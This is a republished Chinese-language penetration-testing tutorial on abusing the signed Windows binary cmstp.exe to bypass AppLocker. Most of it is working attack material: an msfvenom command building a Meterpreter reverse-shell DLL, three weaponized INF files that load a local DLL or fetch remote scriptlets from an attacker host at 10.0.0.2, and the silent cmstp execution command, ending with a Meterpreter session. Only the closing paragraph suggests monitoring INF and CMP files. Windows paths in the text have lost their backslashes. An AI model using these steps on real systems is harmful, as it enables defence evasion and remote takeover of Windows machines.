利用CMSTP繞過AppLocker並執行程式碼

技術小能手發表於2018-05-23

CMSTP是與Microsoft連線管理器配置檔案安裝程式關聯的二進位制檔案。它接受INF檔案,這些檔案可以通過惡意命令武器化,以指令碼(SCT)和DLL的形式執行任意程式碼。它是位於以下兩個Windows目錄中的受信任的Microsoft二進位制檔案。

· C:WindowsSystem32cmstp.exe

· C:WindowsSysWOW64cmstp.exe

AppLocker預設規則允許在這些資料夾中執行二進位制檔案,因此它可以用作繞過方法。最初Oddvar Moe發現可以使用這個CMSTP檔案繞過AppLocker和UAC,並在他的部落格上發表他的研究成果!

DLL

Metasploit Framework可用於通過msfvenom生成惡意DLL檔案。

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.0.0.2 LPORT=4444 -f dll>/root/Desktop/pentestlab.dll

利用CMSTP繞過AppLocker並執行程式碼

Metasploit – DLL生成

INF檔案的RegisterOCXSection需要包含惡意DLL檔案的本地路徑或遠端執行的WebDAV位置。

[version]
Signature=$chicago$
AdvancedINF=2.5
[DefaultInstall_SingleUser]
RegisterOCXs=RegisterOCXSection
[RegisterOCXSection]
C:Users	est.PENTESTLABpentestlab.dll
[Strings]
AppAct = "SOFTWAREMicrosoftConnection Manager"
ServiceName="Pentestlab"
ShortSvcName="Pentestlab"

利用CMSTP繞過AppLocker並執行程式碼

CMSTP – 本地DLL執行

Metasploit multi / handler模組需要配置為接收請求。

利用CMSTP繞過AppLocker並執行程式碼

CMSTP – Metasploit多處理程式

當惡意INF檔案與cmstp一起提供時,程式碼將在後臺執行。

cmstp.exe /s cmstp.inf

利用CMSTP繞過AppLocker並執行程式碼

CMSTP – INF在本地執行

Meterpreter會話將從DLL執行中開啟。

利用CMSTP繞過AppLocker並執行程式碼

CMSTP – 通過DLL執行的Meterpreter

SCT

除了DLL檔案外,cmstp還能夠執行SCT檔案,這些檔案在紅隊執行期間擴充套件了此二進位制檔案的可用性。Nick Tyrer最初通過推特展示了這種能力。

Nick Tyrer還編寫了一個名為powersct.sct的scriptlet ,可以將其用作執行PowerShell命令的備選解決方案,以防本機PowerShell被阻止。該UnRegisterOCXSection需要包含小指令碼的URL。最終的INF檔案需要包含以下內容:

[version]
Signature=$chicago$
AdvancedINF=2.5
[DefaultInstall_SingleUser]
UnRegisterOCXs=UnRegisterOCXSection
[UnRegisterOCXSection]
%11%scrobj.dll,NI,http://10.0.0.2/tmp/powersct.sct
[Strings]
AppAct = "SOFTWAREMicrosoftConnection Manager"
ServiceName="Pentestlab"
ShortSvcName="Pentestlab"

當INF檔案將執行一個新的視窗將開啟,這將允許使用者執行PowerShell命令。

cmstp.exe /s cmstp.inf

利用CMSTP繞過AppLocker並執行程式碼

CMSTP – PowerShell

程式碼執行也可以通過使用scriptlet來呼叫惡意可執行檔案。INF檔案需要包含scriptlet的遠端位置。

[version]
Signature=$chicago$
AdvancedINF=2.5
[DefaultInstall_SingleUser]
UnRegisterOCXs=UnRegisterOCXSection
[UnRegisterOCXSection]
%11%scrobj.dll,NI,http://10.0.0.2/tmp/pentestlab.sct
[Strings]
AppAct = "SOFTWAREMicrosoftConnection Manager"
ServiceName="Pentestlab"
ShortSvcName="Pentestlab"

利用CMSTP繞過AppLocker並執行程式碼

CMSTP – SCT執行

在執行INF檔案時,將會開啟一個新的命令提示符視窗,這將表示程式碼已成功執行。

利用CMSTP繞過AppLocker並執行程式碼

CMSTP – 使用Scriptlet執行INF

Meterpreter獲取到shell。

利用CMSTP繞過AppLocker並執行程式碼

CMSTP – Meterpreter通過SCT執行

結論

CMSTP需要INF檔案並在執行時生成一個CMP檔案,它是連線管理器設定檔案。這兩個檔案實際上都是文字檔案,不太可能觸發任何警報。因此,如果攻擊者已經開始使用此技術,cmstp.exe二進位制檔案無法被AppLocker規則阻止,則需要對這兩個檔案進行監視。

利用CMSTP繞過AppLocker並執行程式碼

CMSTP – INF和CMP檔案


原文釋出時間為:2018-05-23

本文來自雲棲社群合作伙伴“嘶吼網”,瞭解相關資訊可以關注“嘶吼網”。



相關文章